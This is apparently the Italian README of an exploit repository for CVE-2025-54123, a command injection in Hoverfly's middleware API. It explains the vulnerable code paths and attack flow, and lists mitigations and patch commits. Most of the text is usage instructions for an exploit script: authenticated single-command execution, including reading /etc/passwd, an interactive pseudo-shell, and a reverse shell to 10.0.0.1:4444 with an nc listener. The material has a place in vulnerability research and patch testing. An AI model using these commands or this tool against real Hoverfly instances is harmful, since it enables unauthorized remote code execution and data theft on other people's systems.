Exploit per CVE-2025-54123, un'iniezione di comandi OS autenticata nell'API middleware di Hoverfly, che fornisce funzionalità di sola verifica, comando singolo, shell interattiva e reverse shell per test di sicurezza autorizzati.
| Proprietà | Valore |
|---|
| ID CVE | CVE-2025-54123 |
| Punteggio CVSS | 9.8 — Critico |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS Command Injection), CWE-20 (Improper Input Validation) |
| Prodotto | Hoverfly — Strumento di simulazione API open-source |
| Versione affetta | Tutte le versioni fino alla 1.11.3 inclusa |
| Corretto in | 1.12.0 (commit della patch) |
| Avviso | GHSA-r4h8-hfp2-ggmf |
Ecco un'analisi approfondita del case study e un'analisi tecnica dal punto di vista white box e black box https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly espone un'API RESTful di amministrazione (porta predefinita 8888) per gestire le configurazioni di simulazione. L'endpoint di gestione del middleware a /api/v2/hoverfly/middleware accetta un corpo JSON con i campi binary e script che definiscono un processo middleware esterno.
La vulnerabilità nasce da una combinazione di tre difetti a livello di codice:
Validazione degli Input Insufficiente — middleware.go:93-96: La funzione SetBinary() accetta il parametro binary senza alcuna validazione o sanificazione, permettendo a un attaccante di specificare eseguibili arbitrari (es. bash).
Esecuzione di Comandi Non Sicura — local_middleware.go:14-19: Il middleware viene eseguito tramite exec.Command() con i valori di binary e script controllati dall'attaccante passati direttamente come argomenti, abilitando l'iniezione di comandi OS.
Esecuzione Immediata Durante il Test — hoverfly_service.go:173: Quando il middleware viene impostato tramite API, Hoverfly testa immediatamente il middleware eseguendolo, attivando il comando iniettato al momento della configurazione anziché al momento dell'intercettazione del proxy.
Attaccante Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) Autentica
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inietta payload
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) Esecuzione immediata
│ │ → il comando dell'attaccante ││
│ │ viene eseguito come utente ││
│ │ del processo Hoverfly ││
│ └──────────────────────────────────┘│
│ │
│<── Output del comando nella risposta │ (4) Esfiltra output
│ di errore │
│ │
admin / password configurabile)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
Verifica la raggiungibilità del target e l'autenticazione senza sfruttamento:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
Esegue un singolo comando OS sul target:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
Accede a una sessione shell persistente:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
Invia una reverse shell al tuo ascoltatore:
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
Instrada il traffico tramite Burp Suite per l'ispezione:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
| Opzione | Descrizione | Predefinito |
|---|---|---|
-u, --url | URL di Hoverfly target | Richiesto |
-U, --username | Nome utente amministratore | Richiesto |
-P, --password | Password amministratore | Richiesto |
-c, --command | Comando OS da eseguire | — |
-C, --check | Modalità solo controllo (nessuno sfruttamento) | false |
-i, --interactive | Pseudo-shell interattiva | false |
--revshell | Reverse shell LHOST:LPORT | — |
--proxy | Instrada tramite 127.0.0.1:8080 | false |
--timeout | Timeout della richiesta (secondi) | 15 |
-v, --verbose | Abilita output verboso | false |
| Azione | Dettagli |
|---|---|
| Aggiornamento | Aggiornare Hoverfly a v1.12.0 o successiva, dove l'API di impostazione del middleware è disabilitata per impostazione predefinita |
| Segmentazione di Rete | Limitare l'accesso all'API di amministrazione di Hoverfly (porta 8888) solo a reti fidate |
| Autenticazione | Utilizzare password forti e uniche per l'API di amministrazione di Hoverfly |
| Monitoraggio | Monitorare richieste PUT inaspettate a /api/v2/hoverfly/middleware |
La correzione nel commit 17e60a9 disabilita l'API di impostazione del middleware per impostazione predefinita. Le successive modifiche alla documentazione (commit a9d4da7) rendono gli utenti consapevoli delle implicazioni di sicurezza dell'esposizione di questo endpoint.
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca educativa. L'accesso non autorizzato a sistemi informatici è illegale secondo il Computer Fraud and Abuse Act (CFAA) e leggi equivalenti in tutto il mondo. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Ottenere sempre autorizzazione esplicita scritta prima di testare qualsiasi sistema di cui non si è proprietari.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # Exploit raffinato
│ └── raw_exploit.py # PoC grezzo originale
├── Images/ # Screenshot della ricerca
├── Reference/ # Exploit di riferimento per studio
├── requirements.txt # Dipendenze Python
└── README.md # Questo file
Phantom Hat — Ricercatore di Sicurezza
Questa ricerca è stata condotta nell'ambito di un case study di vulnerabilità per scopi educativi.